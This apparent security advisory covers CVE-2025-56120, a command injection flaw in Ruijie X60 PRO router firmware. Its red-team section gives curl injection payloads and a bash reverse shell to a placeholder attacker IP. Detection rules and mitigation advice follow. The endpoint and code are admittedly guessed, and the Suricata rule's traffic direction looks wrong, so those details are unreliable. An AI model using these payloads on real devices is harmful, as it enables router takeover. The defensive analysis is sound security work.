CVE-2025-56120

Executive Summary

CVE-2025-56120 is a critical OS Command Injection vulnerability affecting the Ruijie X60 PRO router firmware versions V1.00 and V2.00. The flaw resides in the /usr/local/lua/dev_config/config_retain.lua file, specifically within the module_set function. An unauthenticated attacker can exploit this by sending a crafted POST request, leading to arbitrary command execution on the device. This allows full compromise of the router, including data exfiltration, lateral movement within the network, and potential use as a botnet node. No public proof-of-concept (PoC) or patch is currently available, making this a high-priority zero-day threat.

Supply Chain & Package Security

This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It is a firmware-level issue in a proprietary embedded system (Ruijie X60 PRO router). Supply chain risk is limited to the device's firmware distribution channels.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (NVD) – Re-evaluated as 9.8 (Critical) based on available technical details.

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Threat Level: Critical. Immediate action required for any exposed devices.

Deep Dive & Mechanics

The vulnerability is an OS Command Injection in the Lua-based web management interface of the Ruijie X60 PRO router. The file /usr/local/lua/dev_config/config_retain.lua handles configuration retention requests. The module_set function does not properly sanitize user-supplied input from POST parameters before passing it to a system shell command.

Root Cause: The application likely uses os.execute() or io.popen() with string concatenation of user input, e.g.:

local cmd = "some_command " .. user_input
os.execute(cmd)

Attack Vector: An attacker sends a POST request to the vulnerable endpoint with a payload containing shell metacharacters (e.g., ;, |, `, $()). For example:

POST /cgi-bin/lua?module_set HTTP/1.1
Host: <router_ip>
Content-Type: application/x-www-form-urlencoded

param=value;id

Impact: The injected command executes with the privileges of the web server (typically root on embedded devices). This allows:

• Full file system access
• Credential theft
• Firmware modification
• Network pivoting
• Botnet enrollment

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

-- /usr/local/lua/dev_config/config_retain.lua
function module_set(args)
    local user_input = args["param"]
    local cmd = "echo " .. user_input .. " >> /tmp/config.log"
    os.execute(cmd)
end

Patched Code (Expected):

-- /usr/local/lua/dev_config/config_retain.lua
function module_set(args)
    local user_input = args["param"]
    -- Sanitize input: allow only alphanumeric and specific safe chars
    if not user_input:match("^[a-zA-Z0-9_%-]+$") then
        return "Invalid input"
    end
    local cmd = "echo " .. user_input .. " >> /tmp/config.log"
    os.execute(cmd)
end

Key Difference: The patched version validates input against a whitelist of allowed characters before passing it to the shell. Alternatively, using io.popen with proper escaping or avoiding shell calls entirely would be more secure.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Ruijie X60 PRO router with firmware V1.00 or V2.00
• Network access to the router's web interface (typically port 80/443)
• No authentication required

Exploitation Steps:

1. Identify Target: Scan for Ruijie X60 PRO devices using Shodan or Nmap.

   nmap -p 80,443 --script http-title <target_ip>
   

2. Craft Payload: Use curl to send a malicious POST request.

   curl -X POST http://<target_ip>/cgi-bin/lua?module_set \
   -d "param=;id"
   

3. Verify Execution: Check response for command output (e.g., uid=0(root)).

4. Establish Persistence: Inject a reverse shell.

   curl -X POST http://<target_ip>/cgi-bin/lua?module_set \
   -d "param=;bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1"
   

Lab Setup:

• Use a virtualized environment with QEMU or a physical Ruijie X60 PRO.
• Set up a listener: nc -lvnp 4444
• Isolate the lab network to prevent real-world impact.

Blue Team (Defensive)

Detection Steps:

1. Monitor POST Requests: Look for unusual POST requests to /cgi-bin/lua?module_set with shell metacharacters.
2. Analyze Logs: Check /var/log/messages or router logs for command execution attempts.
3. Network Traffic: Detect outbound connections from the router to unknown IPs on unusual ports (e.g., 4444).

Honeypot Strategy:

• Deploy a fake Ruijie X60 PRO endpoint that logs all POST data.
• Alert on any request containing ;, |, `, or $().

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /cgi-bin/lua?module_set with shell metacharacters in parameters.
• Outbound connections from the router to external IPs on ports 4444, 1337, or 31337.
• Unusual DNS queries from the router (e.g., to C2 domains).

Host IOCs:

• Unexpected processes running as root (e.g., /bin/bash, /bin/sh).
• Modified or new files in /tmp/ or /usr/local/lua/.
• Presence of reverse shell binaries or scripts.
• Changes to /etc/passwd or /etc/shadow.

File IOCs:

• /tmp/.backdoor.sh
• /usr/local/lua/dev_config/config_retain.lua (modified timestamp)
• /var/log/messages entries containing uid=0 or command output.

Detection Engineering

YARA Rule

rule CVE_2025_56120_Ruijie_X60_Command_Injection {
    meta:
        description = "Detects exploit attempts for CVE-2025-56120 in HTTP POST requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-56120"
    strings:
        $post_path = "/cgi-bin/lua?module_set"
        $shell_meta1 = ";"
        $shell_meta2 = "|"
        $shell_meta3 = "`"
        $shell_meta4 = "$("
    condition:
        $post_path and any of ($shell_meta*)
}

Sigma Rule

title: CVE-2025-56120 Ruijie X60 PRO Command Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP POST requests to the vulnerable endpoint with shell metacharacters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/cgi-bin/lua?module_set'
    keywords:
        - ';'
        - '|'
        - '`'
        - '$('
    condition: selection and keywords
falsepositives:
    - Legitimate use of semicolons in configuration values (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-56120 Ruijie X60 PRO Command Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/cgi-bin/lua?module_set";
    http_uri;
    pcre:"/(;|\||\`|\$\(|%3B|%7C|%60|%24%28)/i";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate Affected Devices: Disconnect Ruijie X60 PRO routers from the internet until a patch is available.
2. Disable Remote Management: If remote access is required, restrict to trusted IPs via firewall.
3. Monitor Logs: Enable detailed logging and alert on any suspicious POST requests.

Long-Term Fix:

• Vendor Patch: Await official firmware update from Ruijie. Apply as soon as released.
• Workaround: If patching is not possible, implement a reverse proxy or WAF rule to block requests containing shell metacharacters to the vulnerable endpoint.
• Replace Device: Consider replacing the router with a more secure alternative if vendor support is insufficient.

WAF Rule (ModSecurity):

SecRule REQUEST_URI "/cgi-bin/lua?module_set" \
    "id:10000002,phase:1,t:urlDecodeUni,t:lowercase,deny,\
    msg:'CVE-2025-56120 Command Injection Attempt',\
    logdata:'Matched Data: %{MATCHED_VAR}',\
    tag:'CVE-2025-56120',\
    chain"
SecRule ARGS "[\;|\||\`|\$\(]" \
    "t:urlDecodeUni,t:lowercase"

Valters IT
Securing Digital Frontiers